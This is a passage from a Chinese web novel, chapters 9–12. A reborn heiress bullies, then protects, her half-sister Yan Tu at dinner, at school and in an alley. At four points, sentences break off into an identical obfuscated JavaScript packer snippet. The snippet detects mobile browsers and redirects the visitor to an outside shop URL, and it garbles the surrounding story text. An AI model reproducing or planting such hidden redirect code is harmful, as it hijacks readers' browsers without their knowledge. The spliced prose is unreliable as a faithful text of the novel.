“……”严菟不知道对方又想耍什么花招,不过还是依言照办,坦然地夹起少许米粒吃入口中。饭菜虽然是对方逼着她做的,但她还不至于会在这里头动手脚。 等她吃下去后,沈析洛忽然夸张地怪叫起来:“嚯,这碗饭被你碰过了,我才不要吃叻!还有这些菜都被你动过了……” 严菟陡然握紧手中的筷子,眼眸里闪过一丝微不可察的凛冽。 沈析洛身子往前倾,胳膊肘撑在餐桌上,一脸认真地用单根筷子给每个盘子里的肉菜划出一条三八线来,道:“给我瞧清楚了,这一边是你刚才夹过的,现在都归你了……你想走是吧?可以,把它们全部吃光光,我就让你走!” “……”严菟一呆,继而掩下略显复杂的神色。她已经猜不透这个人到底想做什么了。 沈析洛说完,跑去厨房重新盛了碗白饭给自己,然后坐回餐桌前夹菜就吃,一边吃一边发出满足的长叹声:“啊!——” 许是因为这是她入狱以来某种意义上吃到的第一顿家常饭,所以味觉大开,让她禁不住在心中有感地赞叹:天呀,这是什么神仙做的美味佳肴啊,真特么好吃极了!! 旁边的严菟微微侧头,投去好奇的目光:“怎么了?” “难吃,太难吃了!”沈析洛口是心非地评价。此时的她大口扒饭,把两颊塞得鼓鼓的,还不忘继续大放厥词: “第一次,呜嗯,七到介么蓝吃的……糖醋排骨西芹虾仁蒜蓉西兰花……咕噜,和海带豆腐汤……简直素在考验、折磨鹅的味蕾……哩愣着干嘛,快点七呀,七不完不许走,嗷呜……就算七到吐,也得给偶吞肥去……身为沈家滴吕人,是不准浪费食物哒!!” “……”严菟默然。怎么会有这样的人,嘴里说着难吃,却还在拼命夹菜……她低下头去,不再看对方。 其实她不忍心提醒对方,可以把舌头捋直了再说话。因为配上这副嘟嘴鼓脸的模样,看起来不但一点都不凶,甚至让人有点想笑…… 沈析洛喝下两口汤后,感觉一阵神清气爽,数落起人来更带劲了:“别以为你低着头装出委屈的样子我就会放你走,姐姐这是在教你沈家规矩呢,说好不能浪费食物,所以我会在这里好好盯着你,直到你吃完为止!” 明明是美味的菜肴,经过沈析洛这么百般挑剔和嫌弃,旁人听在耳里,还以为她是在逼迫严菟吃什么屈辱的黑暗料理。 严菟这次头也不抬,她坐姿端正,心无旁骛的认真用餐。丰盛的菜式和温热的米饭,确实比刚才的硬饭咸菜好太多了。 沈析洛瞄了一下对方乖巧温顺的侧影,终于眯起满意的笑眼,也不再跳脚地安安静静吃饭。 不得不说,这还是她头一次品尝到严菟的手艺,知道对方会做饭只是在上一世无意间听说的。她一直知道严菟是个多才多艺的人,只是平时过于低调不轻易显山露水罢了。 那时候的沈析洛被嫉妒蒙蔽双眼,忙着从各方面打压对方,哪会像现在这样以旁观者的角度去重新看待对方,心平气和地承认对方的优秀。 想想都觉得这一顿晚餐吃得太值了,毕竟这是未来大佬亲自下厨做的!说不定她以后还可以指着电视的人,到处吹嘘自己吃过这个大佬做的饭,而且是特意(被逼)为她一个人做的,嘿嘿嘿…… “姐姐,你们在吃什么好吃的呀?” 一个清脆银铃的声音忽然从厅外传来,接着走进来一个身穿休闲长裙,黑色长发微卷,头侧系着蝴蝶结缎带的少女。 少女正是她们的妹妹,沈析莉。 听到少女的声音,严菟微抬起头,打招呼地轻声喊了一句“妹妹”,便低下头去。少女的问话明显不是冲着她来的,她自然不会那么不识趣地主动接话。 而沈析洛握筷子的手顿了一顿,继续埋首吃饭,没去理会少女。对方的到来让她用餐的好心情瞬间锐减一半,她表面不动声色,其实脑筋转得飞快: 稍微推算一下,此时的沈析莉只有十四岁,根据她上一世的自我描述,对方是在十五岁时生了场大病,沈母才会忍不住向对方吐露出一切真相。所以现在的沈析莉,并不知道沈析洛的真实身世,依然还视她作亲生姐姐。 只是沈析洛再也无法拿对方当成妹妹看待了。上一世还没揭露真相前,虽然她总是和妹妹吵架拌嘴,但她是真心在守护自己的妹妹,绝不让外人欺负妹妹一分半毫。 然而有了“妹妹”上一世的疯狂倾诉,她才知道原来妹妹早在很小的时候,就已经嫉妒和怀恨她夺走了沈父沈母的所有关爱……所有就算她们真的是亲生姐妹,沈析莉也永远见不得沈析洛的好! 这样薄情寡义的白眼狼,哪怕再重来一次,哪怕那些糟糕的事情都还未发生没,沈析洛也找不出什么理由去试图引导和挽救这段早已决绝的姐妹关系,更别谈什么谅解。 不过,看在对方现在年纪尚小的份上,她会把沈父沈母的“关爱”原原本本地还给对方,之后再给对方一次重新选择的机会,如果…… 沈析洛蓦地想起上一世她们的最后一次见面,对方隔着铁门那意得志满的神情…… 如果对方这一世依旧选择置她于绝境,那她会让对方也体验一遍她上一世在牢狱所受过的苦难。 下定决心的沈析洛松开紧握的筷子,换成羹匙,比起刚才的狼吞虎咽,这会儿正端起姿态来,斯条慢理地喝着面前小碗里的汤。 沈析莉见姐姐没有回应她,也见怪不怪了。她走过去拉开椅子,坐在沈析洛的左手边,道:“姐姐,听妈妈说你让严菟下厨给你做饭,就是桌上的这一些吗?”她这话问的,完全把另一边的严菟当成了空气。 沈析洛立刻露出一脸的不悦,语气生硬道:“什么严菟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132619|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,懂不懂礼貌啊?她比你大两岁,你应该叫她二姐姐。” 其实真正算起来的话,严菟和沈析莉才是同父异母的亲姐妹。 “姐姐,你说什么呢……”沈析莉表情微恼,暗地在桌下踢了踢她的脚。 沈析洛面无表情地挪开脚。 严菟低眸,默然地将她们的互动看在眼里。 一旁的沈析莉见对方不理睬她的暗示,于是她作出一脸委屈,煽情道:“姐姐,你到底说什么呢,在我心中,只有你一个姐姐呀……” 沈析洛不咸不淡地“哦”了一声,似乎没兴趣配合她的表演。 “……哼。”沈析莉暗自跺脚。 换做往常,此时她们应该摒弃之前的不和睦,站在同一阵线一起“对付”严菟这个私生女。然而此时的沈析洛今非昔比,她不再是那个只有脾气没有脑子的沈家大小姐,她现在是—— 脾气和脑子兼备冷酷无情一心只想推动严菟大腿报复沈家的未来搞事者! 想到此处,沈析洛翘起二郎腿,拨开额前的紫色斜刘海,用充满肉感的五指撑在脸侧,无声地舀起一口汤含进嘴里,深深闭上双眼,露出如梦如幻的陶醉表情,发出意味不明的喟叹:“啊——” 她突然觉得自己起的这个称号不但简明易懂还霸气侧漏,能想出这么精练绝伦的名字来,真不愧是她自己,一个冰雪聪明的旷世天才! 眼睁睁地看着沈析洛突然顾自凹起了造型。 严菟:“……”忍不住跟着喝了一口汤,接着内心得出结论:汤很正常,可能是这人不太正常。 沈析莉被勾起了好奇:“姐姐喝的什么汤呀,好喝吗?我也要试试!”然后准备伸手去拿汤勺。 沈析洛睁开眼,用警告的目光看着对方,郑重其事地道:“我刚才在整盆汤里吐了口水。” 严菟:“……” 沈析莉:“……!!!” 沈析洛若无其事地继续吃菜配汤。 沈析莉猛地收回想去拿汤勺的手,登时露出满脸的嫌恶:“姐姐,你好恶心啊……”然后目光移到严菟身上和对方侧手的小汤碗打转。 她还是以为姐姐今晚为什么如此反常,原来早就在给严菟难堪了,倒是她的唐突出现好像打扰到她们了? 沈析莉心中是对严菟的幸灾乐祸和对沈析洛的鄙夷。她站起来敷衍地一笑:“那两位姐姐慢慢享用晚餐吧,我先回房间啦。”说完转身匆匆离开,片刻也不愿多留。 饭厅又只剩下两人了。 一阵沉默过后。 严菟想了想,主动出声问道:“洛姐姐……为什么要撒谎?” “呵。”沈析洛得意洋洋地抖起二郎腿来,语气不可一世:“这是我让你给我做的汤,只有我一个人能喝,其他人想都别想,包括爸妈!” “可是这汤……”严菟举起自己手边的小汤碗,无辜地眨了眨眼睛:“我也喝了。” 沈析洛的二郎腿陡然一刹:“……”呃,装逼过头,突然不知道该怎么回答了? 10. 第10章 “可是这汤……我也喝了。”严菟如是说道。 “……”一时回答不上话的沈析洛张了张口,突然灵机一动,立刻以“吃饭说话影响消化”为由,把对方狠狠地奚落了一番。 严菟在一旁安静地低眉,时不时抬起楚楚动人的桃花眼,似有若无地打量着面前这个恼羞成怒的“姐姐”。 接收到对方投来的“幽怨”眼神,这让沈析洛更得意了:怨吧怨吧,尽管怨我,我就是这样凶狠无情的恶人! 过了一会儿。 吃饱喝足的沈析洛瘫靠在椅背上,顺口问道:“你吃饱了没?” “嗯?”严菟歪头看她。 “!!”沈析洛猛然反应过来自己说溜了嘴,立即卯起来拍桌,表情超级不耐烦地道:“我是问你吃光光了没!没吃光光就不准走!!” 严菟点头:“嗯,吃光光了。” “哪里吃光光了,我不信!”为了掩盖前面的失口,沈析洛故意找茬,用筷子在三个只剩菜油的盘子里挑挑拣拣,然后果真从里面夹出了一粒指甲盖大小的虾仁! 她兴奋地把小虾仁举到对方跟前,促狭道:“嘿嘿,瞧瞧这是什么,胆儿真肥呀你,竟敢在我面前撒谎!” “……”严菟不置可否地移开视线。她怕自己再多看对方一眼,会忍不住想去撬开对方的脑瓜子,看看里面是不是住了个幼儿园小朋友。 沈析洛不容拒绝地说:“来,张嘴。” 严菟依言微张开嘴。 沈析洛顺势把小虾仁喂进她口中,然后才搁下筷子,做出一副宽宏大量的姿态勉强道:“好了,算你吃完了,这次家规就先教到这里,以后不准你再顶撞我!” 严菟无辜地问:“我有顶撞过你吗?” “这……”沈析洛被对方纯净的目光看得心肝乱颤,继而仔细一想,发现对方好像确实没有顶撞过自己,让做饭就做饭,让吃饭就吃饭,十分乖巧听话得很呢!她这会儿两根眉毛揪在一起,反问道:“你没有顶撞过我吗?” 严菟:“有吗?” 沈析洛反复问:“没有吗?” 严菟反复反问:“有吗?” 心虚的沈析洛陡然提高嗓门:“有啊!!” 严菟眨眼:“什么时候?” 沈析洛猛一拍桌,一锤定音:“就是现在!我都说有了,你还敢质问什么时候,这不叫顶撞这叫什么?!” “……哦。”严菟垂下脑袋,让人看不清表情。 沈析洛见她低头认错的姿势很诚恳,这才像只高傲的孔雀一样仰起鼻孔,重重地“哼嗯”了一声,然后趾高气昂地转身上楼去。 严菟斜眸瞥向对方离去的背影,直至那抹身影消失,她收回目光,稍稍后倾倚靠在椅背上,拿起筷子有一下没一下的在剩盘里翻找虾仁肉末,神色晦暗不明。 *** 沈析洛回到房间后,第一件事就是翻开书包拿出纸笔,坐到书桌前打开台灯,以龙飞凤舞之势,在纸上疾笔挥写出十二个扭扭曲曲的毛虫大字——读书改变命运,我要考上大学! 没错,这可不是在开玩笑,这是她重生以后经过(半天的)深思熟虑而作下的决心和目标! 她迟早会离开沈家,但失去沈家这棵参天大树的荫庇,她什么也不是,纯粹废人一个,连路边捡垃圾的都不如,至少捡垃圾的还知道垃圾分类,她啥也不懂。 这样的她,哪怕重活一世得了先机,也注定是个干不成大事的人。 所以,读书就是她目前能想到的唯一出路。她要趁还没离开沈家之前,利用高中这两年半时间,努力刻苦学习,凭借自己的实力考上理想大学! 上一世,沈母把她的人生安排得明明白白,让她只管吃喝玩乐胡作非为,不用担心学业事业和社交问题,沈母会一手帮她全部操办好。 沈母一直以来教育她、给她灌输的观念是“学习无用,武力能保护自己,武力解决不了的问题,就用钱来摆平”。 以至于她从小到大不需要把心思花在功课上,就算后来高考成绩考了个位数,也能顺理成章地被送去国外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132620|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野鸡大学镀一层金回来。然而这种学历只是摆着好看,实际屁用也没有。 沈析洛单手撑头,转动手上的笔杆,忽然又想起了许多琐事—— 记得她小时候对某种乐器很感兴趣想去学习,但只要练习时间超过半小时,沈母就会出现打断她,“关心”她会不会太累了,让她停下来休息,去吃东西或看电视。 长此以往,她对学习任何东西都逐渐失去耐心,总会习惯性走神或坐不住,然后跑去别处开始玩耍捣蛋。 妹妹沈析莉却经常可怜兮兮地哭诉,姐姐的玩具比自己的多得多。然而沈析洛何尝不是偷偷地羡慕妹妹会弹钢琴跳芭蕾,还得过各种艺赛的奖杯。 那时候沈析洛会指着舞台上的人,一脸自豪地和身边的跟班们说:那是我妹妹…… 回想这些往事,沈析洛陡然“啪”地一声折断手中的笔杆,把断裂的两节笔杆扔在桌面上,咬牙切齿道:“这是我‘妹妹’!!” 顿了顿:“不对,再来一遍。” 她指着右边一节说:“这个是我‘妹妹’!” 又指向另一节:“这个是我‘妈妈’!” 然后把两节断笔一起丟进垃圾桶里,恶狠狠道:“去你妹的,去你妈的!!” 出了口恶气的沈析洛愣愣地坐在椅子上,用小尾指抠了一下鼻孔,自我反省:我好像又走神了? 不行不行!! 她甩了甩脑袋,从书包里重新拿出一支笔来,同时在心中给自己打气:从这一刻起,我要好好学习,学习使我快乐! 然后,她在书包里,怎么翻也翻不出半本书来! 她这才想起那些崭新的课本全都遗放在学校教室里了…… 但是这点小挫折并不能熄灭她想学习的热情。 她在书架上寻寻觅觅,终于找出一本和课业有关的《思想政治之经济生活》,她翻开书,从第一页认真地看了起来。 十五分钟后。 沈析洛压着书本,趴在桌上:“ZZZzzz......” 11. 第11章 第二天上学。 高一E班教室里靠近后门的尾排,成为了今天最引人侧目的亮点。 非主流校霸沈析洛居然一整天都坐在自己的座位上,一节课也没逃,上课的时候还会拿出与科目对应的书本来,埋头认真翻看和动笔! 这罕见之举,实在让各个科的老师忍不住啧啧称奇,连讲课时也纷纷打起三分警惕来,就怕她在课堂上捣乱挑事。 下午最后一节是胡孤梅的语文课。她在办公室也听闻几位老师提及E班沈析洛的事,说她上课时间破天荒地没和同学玩闹,没打游戏机,也没趴在桌上睡觉。 于是胡孤梅在讲解课文的途中,特意走去后排绕了一圈,停步在沈析洛身后,看着她全神贯注地在课本上挥笔洒墨,胡孤梅无声地叹了一口气,随即失望地摇摇头,调头走开。 放学铃声打响。 沈析洛抬起双臂伸了个懒腰。她快被自己感动哭了,居然真的能坚持一整天上课不打瞌睡,这是一个好的开头。 坐在最前排扎双马尾的钱小昂在座位踌躇了一小会,然后背起双肩包走去后排找沈析洛,鼓起勇气问道:“老大……那个,今天要一起回家吗?” “好啊,等一下。”沈析洛把桌上的书本一一放入背包里。 “嗯嗯。”钱小昂不住地点头,眼余光突然瞥到了对方书本上的内容,她好奇地伸手一指:“老大,你这本语文能让我看一下吗?” “可以。”沈析洛把准备收进书包的课本递给她。 钱小昂快速地翻览书页,同时发出惊叹:“哇啊,老大你……未免也太厉害了吧!!” 沈析洛挠了下脑袋,表情竟然露出一点点被赞美的羞涩:“嘿,还行。” 只见被翻动的书本右上角空白处,快速地滑过两个正在决斗的火柴人,一人拿刀一人持剑,画功粗糙但胜在动作连贯,两个火柴人由近到远、由上到下打得天昏地暗,最末几页是拿刀的人把持剑的人砍趴了,旁边还给人物配上了几句对话—— 倒在地上持剑人:我输了,临终前我想拜托你一件事。 拿刀人:你说。 持剑人:替我照顾好家中的妻儿。 拿刀人:你知道我为什么找你决斗吗? 持剑人:你说。 拿刀人:是你的妻子派我来杀你的,其实我和她才是真爱。 头上多了顶绿色帽子的持剑人:那我儿子呢? 拿刀人:感谢你替我养了七年的儿子。 持剑人当场吐血身亡。 全剧终。 钱小昂看完后的反应:“……” 张了张口想给老大拍彩虹屁,但想到这结局,她继续保持:“……” 沈析洛在一边兴致勃勃地解说:“画完打斗内容觉得太单调了,所以我最后给他们加了段对白,怎么样,是不是瞬间有种跌宕起伏,柔肠百转的感觉?” 这倾盆狗血的情节哪里柔肠了?还不如不加……钱小昂真诚地道:“我觉得两个火柴人的打斗过程十分精彩!” “是么,哈哈哈,那再给你看看其它课本上画的。” “好啊好啊!”钱小昂一脸迫不及待,又想起什么似的忽然问,“诶等等……老大,所以你今天一整天都在课堂上画这些东西吗?”老大今天埋头学习的模样全班人都看在眼里,包括钱小昂。 “……”被指出真相的沈析洛呆了一呆,这才后知后觉地发现自己开小差开到外太空去了!其实她每堂课的前五分钟是有在专心听讲的,但为了防止自己睡着,于是就开始写写画画了起来…… 内心受到打击的沈析洛,沮丧地捂着胸口。 钱小昂投过去好奇且天真的目光:“嗯?” 将双掌搭在钱小昂的肩膀上,沈析洛语气诚恳道:“小昂,我想拜托你一件事!” 钱小昂脑子一懵,顺口回应:“替你照顾好家中的妻儿吗?” “啊呸你,我的妻儿哪需要你来照顾……啊不对我没有妻儿。”沈析洛一脸认真,“请你以后帮忙监督我……”好好学习。 她这话还没说完,旁边走廊窗口突然冒出一个红发女生,插话道:“老大,走啊,去网吧组队打副本,我帮你定好包间了。” 一听到“网吧”这词就让沈析洛回想起过去那些的糟糕事,她陡然腾升出怒气,“唰”地一个刀眼横过去:来得刚好,择日不如撞日,她正想好好收拾一下这帮吃里扒外的混账跟班! 沈析洛的眼神让窗口边的红发女生莫名心惊,她讪讪地改口道:“老大心情不好吗?那要不下次再去好了……” “去,现在就去。”沈析洛答应着,然后转过身对钱小昂说:“我还有事要处理,你先回家。” 钱小昂动作磨蹭:“老大你刚刚不是有话要和我说吗?” 沈析洛:“明天再说。” 钱小昂小声道:“那我也跟你们去……” 以往大家不论去哪里玩都会强迫小昂一起跟去,这样才好给大家充当跑腿。现在老大不带她玩,她反倒有些失落了,因为她好不容易和老大走近了那么一点点…… “你玩游戏技术太菜了。”沈析洛拒绝她,然后轻轻拍了一下她脑袋:“听话,回家去。” 老大的耐心相劝让钱小昂也意识到自己好像又在得寸进尺了。不过她感觉老大拍她头的动作好温柔,至少和以前相比还要温柔……她这会儿开心地挥手道:“是,那我先走了,老大再见!” “再见。”沈析洛挥手目送对方离开,等再次回过头去看向红发女生时,神色已全然变得冷酷高傲,她将书包随手挎到肩上,问:“其他人呢?” 除去一些不脸熟的小喽啰外,沈析洛身边一直有六个固定随传随到的跟班,其中只有钱小昂和她同在一个班级,其他五人则分散在不同的班。 眼前的红发女生烫着个泡面头,是上一次女厕事件守在门口,试图拦着沈析洛,想进去通风报信的人。因此沈析洛现在对她怀有戒心。 老大转瞬冰冷的反差态度令红发女生内心有些发憷,但她还是硬着头皮,故作轻松道:“哦,她们呀,她们已经先过去了,就等老大你了。” 沈析洛走出教学楼,又问:“她们为什么不等我一起去?” 跟在她身后的红发女生一时没料到她会这么问,犹豫了一下道:“呃……她们先去占位了。” 沈析洛斜睨她:“你刚刚不是说订好包间了吗,怎么还需要她们去占位?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132621|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红发女生眼神开始游移:“这个我也不太清楚……哦哦,她们应该是提前帮老大买零食去了!” 沈析洛停下脚步,转身:“买东西这种事,你们不是最喜欢找小昂代劳了吗?” 红发女生下意识地后退一步:“老大你、你怎么突然在意起这些无关紧要的小事了?害我都回答不上来了,呵、呵呵,反正她们已经在路上了,真的没骗你,我们快去网吧和她们汇合吧……” “我又没说你骗我,你干嘛那么紧张……”话音刚落,沈析洛骤然伸手攥起对方的衣领,将对方狠狠压到旁边的墙壁上,厉声道:“我再问你最后一次,她们去哪了?!如果你敢说谎,严菟的下场,就是你待会的下场!” 沈析洛对那几人的去向本来是没起疑心的,她还想把她们约在网吧集合,好方便一起解决收拾。 可一回想起这几个人平时没事就喜欢围在她身边一起撺掇着她去外面游逛通宵四处浪,她要是一时浪不起来,她们就会轮流扶着她起来继续浪,这么“齐心协力”的一伙人,突然分开行动铁定有猫儿腻。 特别是红发女生含糊不清的回答,加上在这敏感的放学时段,让她马上联想起一个人——严菟。 像之前提及过的,她身边的跟班们都清楚她的为人处世和做事风格,所以虽然她们表面上对她唯唯诺诺,但实际上一直是在有恃无恐,料定外强中干的沈析洛最后不敢把她们怎么样,所以背地里才会越来越肆无忌惮。 可是她们绝对料想不到的是,现在的沈析洛不再是原来的沈析洛,重生后的她经历过近两年的牢狱之苦,早就在里头磨砺出一身恶徒的戾气。 猝不及防被压制到墙上的红发女生因对方的猛力一推而磕撞到了背部和后脑勺,她忍痛试图想去抓挠对方,却被对方轻松地单手钳住双手,同时那只扯着她衣领的手勒得更紧了,几近喘不过气的她终于感到了恐惧:“……老大,求、求你放手……我说、我说!!” “快说。”沈析洛一把松开了她。 得要解脱的红发女生用力咳嗽,一边说道:“她们现在在学校后街二巷、街尾的小胡同里……” 学校后街,那和去网吧的路是相反方向。听到对方这回答,强势不过三秒的沈析洛僵硬地牵起嘴角,问:“所以严菟也在那里?” 红发女生抬起头,目光不解:“老大,你不是已经知道了吗……” 好吧,看到老大这反应,她猜自己大概、可能、或许,是被老大套话了。 “呵,能耐呀你们。”沈析洛笑了,却笑得比哭还难看,她一手叉腰一手指着对方的鼻子:“昨天在学校才被虎姑婆抓包,还以为你们这帮该死的会消停一阵子,没想到今天干脆去校外堵人了!” 沈析洛心里不禁泪流如河——以后我家小白兔黑化了,全特么都是你们这帮混蛋逼的;以后你们全特么没事,因为这些账全特么都算我头上了!! “老大……为什么你的手抖得这么厉害?” 悲从中来的沈析洛再次一把拽住对方的衣领:“走,去找她们,我死了也要拉你们来垫背!” 被拖着走的红发女生:“……”不是很懂老大这副赴死如归的壮烈情绪是为哪般…… 12. 第12章 学校后街二巷,小胡同。 当沈析洛拖着红发女生匆匆赶来时,四个穿着校服、发色斑斓的女生正把身形纤瘦高挑的严菟围堵在电线杆边。 严菟的书包已被打落在地上,一头黑色的长直发和身上的校服凌乱不堪,模样竟比上次在女厕看到的还要狼藉。 其中黄发、灰发女生站在严菟左右边,牢牢钳抓她的双臂,而对面的绿发、蓝发女生正合力高高举起角落的公共垃圾桶,准备往严菟的头上扣去。 赶到的沈析洛刚巧看到这一幕,想也不想地疾步冲上去,助跑跳起来,横空一脚狠狠踹飞她们手中的垃圾桶,桶里的垃圾瞬间四散抛起,她们两人则被来人的冲击撞倒,连带跌摔在地。 “嘭、嘭、嘭……”是垃圾桶落地滚远的声音。 在场的人均是看傻了眼。 稳站直立的沈析洛侧身背对着严菟,一脸阴云密布地面向坐倒在地上的绿发、蓝发女生。 被撞翻的两人刚要发火,抬头一看来人是老大,立刻下意识地缩了缩脖子,两人不着痕迹地互相使了个眼色,然后站起身来,神情自然道:“老大,你来啦。” 抓着严菟的左右两个人也“老大、老大”地打招呼。 “你们在干嘛?”沈析洛的语气听不出喜怒。 “呃……”绿发女生迟疑了一下,眼神四处乱瞟。一路被拖过来的红发女生这会儿正在一旁拼命地给她做暗示,她却视而不见,临机应变地道:“老大,不是你让我们好好处置严菟的吗?” 她这话说得取巧,即让旁人以为她们的行动都是受老大唆使的;又能把问题丢回给老大,表明自己只是遵照老大之前吩咐“以后严菟你们看着处置”这句话来办事,以此彰显自己的忠诚和无辜。 “啊哈,是我了没错。”沈析洛皮笑肉不笑地点头回应,然后走前两步一手搭在绿发女生的肩上,俯身在她耳边低声说道:“这些事到底是谁指使你的,你自己心里清楚。” 被暗地狠掐着肩膀的绿发女生脸色一白,试图辩解:“老大,你说什么呢,我、我不懂……” 沈析洛手下一用力,绿发女生瞬间被按倒,愣怔地坐回地上;红发女生杵在一旁不敢动;蓝发女生蹲下去扶绿发女生,抬头看向老大,一脸不解道:“老大,你这是干什么……” 后面的黄发、灰发女生也疑惑地问:“老大,你们怎么了?”/“是啊怎么了,有话好好说呀。” “嗯,待会好好说。”沈析洛不再理会面前的三人,她暗自深吸一口气,做好心理准备后,才转身面向严菟,但没有正眼去看对方,而是对旁边另外两人不耐烦道:“我都来了,你们还不松开。” 黄发、灰发女生闻言立即松开了手,又谨慎地盯着严菟,以防她突然偷袭老大。 双手得到自由的严菟改为抱臂在前,自始至终低着头,沉默不语。 沈析洛弯腰捡起地上的书包,又把散落在周围的书本和文具收放进去,然后掸了掸书包上的灰尘,递交给严菟,轻声说:“喏,你先回家吧。” 严菟一手打落对方递过去的书包,语气冷漠:“假惺惺的做给谁看。” 沈析洛再次捡起书包,索性破罐破摔地直视对方,接话道:“做给你看呀!” 严菟戒备地后退一步,别开头。 沈析洛这才看到对方侧脸下巴处一道细浅的伤口,伤口的血迹已凝固。她呼吸一窒,陡然暴跳起来,将手中的书包猛地一摔在地:“卧槽你们奶奶个腿,谁让你们动她脸了?!!” 她突然的暴起令在场的人又是吓得一惊。站左右边的两人立马无声地滑溜开,站到沈析洛的身后,和另外三人一起排排站好。 沈析洛回过身去对着五彩头跟班继续咆哮:“我让你欺负她,我让你伤她脸了吗,啊?这可是我们沈家的脸面!!” 其实不是,她只是在借此宣泄自己的心慌不安——万一大佬真破了相,那她就百分百死定了!老天呀,不如让她重生回到小学吧,至少还来得及离家出走。 沈析洛:“我告诉你们,以后不准你们再动严菟!!” 太好了,她终于把这句话说出来了!不过她并不会改变对严菟持有的态度,她不能引发未来的蝴蝶效应…… 闻言,在场六人包括严菟,各自流露出阴晴不明的神色。 沈析洛继续大声的宣布:“严菟是沈家的人,所以以后只有我才可以、欺、负、她!!!” 这下六人的神情总算有点一致了:这人果然还是那么恶劣! 沈析洛:“你们听明白了吗?!” 五彩头跟班声调高低起伏地回应:“是/明白了……” 沈析洛再次回过身去,却见严菟低头望着地上刚才被猛摔的书包,不知所想。 沈析洛这次直接捡起书包粗鲁地塞进对方怀里,问:“你……还有哪里受伤没?” 严菟抬眸注视她:“先是狠狠抽鞭,再是假装给糖,这样自导自演很好玩吗?洛姐姐。”这话后面三个字咬得很重。 对方凌乱的外表容颜搭配上迷人坚毅的琥珀色眼瞳,浑然一副楚楚可怜却要故作镇静的模样,硬是把沈析洛看得心肝直颤——怎么办,更想把对方欺负到哭了……打住!沈析洛移开视线,语气轻佻:“好玩,严菟妹妹,非常好玩。” “你!”严菟终于忍不住抬起手挥过去。 沈析洛轻松地一把握住她的手腕:“你力气太小了,等多吃点饭再来打我,会更带劲的。好了,现在不早了,你该回家去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132622|196235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “不用你管。”严菟抽回手腕,随手抹了几下脏兮兮的脸,抱着书包转身准备走人。 “本来没想管你的,但你不让我管,我就偏要管,而且管定了。”沈析洛走前一步,不由分说地伸出手臂揽住对方的腰,把对方拖过来紧抱自己在身侧。两人身高明明不差上下,但在沈析洛强横野蛮的衬托下,反倒显得严菟弱势了一截。 “你放开我。”严菟双手挣扎。 沈析洛拿她书包的背带缠住她两只手腕,接住从背后单手环抱着她,另一手从自己校裙口袋里掏出部翻盖手机,快速按了数下键,没一会儿就拨通了,沈析洛道:“……喂,张叔,麻烦现在过来一下,我在学校后街二巷。”说完便挂断。 他们学校的校裙没是口袋的,沈析洛图方便给自己定制了两个深兜。 张叔是沈家的司机之一,专门负责接送小姐们上学放学和日常外出。沈析洛平时喜欢在外面四处游逛,因为嫌麻烦所以很少坐私人专车;严菟是后来进门的,沈母有意为难,让她不能准时等来接送,所以干脆一直走路或搭公车;最后张叔成了沈析莉的个人司机。 严菟被身后的人搂得不知是热的还是气的,双颊绯红道:“放开我,我不要跟你一起回家。” “谁说我要跟你一起回去了?是你自己回去。”沈析洛把手机放回口袋后,两只手一起环着对方,无赖道:“你被我修理得这么惨,万一你想不开离家出走怎么办,谁来还我一个严菟妹妹?” “你、你不要太过分!” “不是应该喊我‘洛姐姐’么,你喊呀,喊得动听点,说不定我就放开你了。” “沈、析、洛!”严菟第一次喊她全名。 沈析洛:“哎呀,太动听了,舍不得放手了,咋办呢?” 严菟:“你……你你变态!” 沈析洛:“哟,好学生骂人的词汇都是在生物书上学的吗?再骂几句呀,不然我教你其它的?” “……” 沈析洛故意和对方耍嘴皮子拖延时间,没过多久,来接送的商务黑色轿车停在了前方巷口。 沈析洛拽着严菟过去,将她塞进车后座,随口道:“回家后找保姆拿点药,搽搽你脸上的伤。” 严菟扭过头不看她。 沈析洛又对驾驶位上的司机,吩咐道:“张叔,二小姐受伤了,行为可能有点过激,脑子也有点想不开,麻烦你务必把她安全送到家,别让她乱跑。” 张叔一口答应道:“知道了,大小姐。” 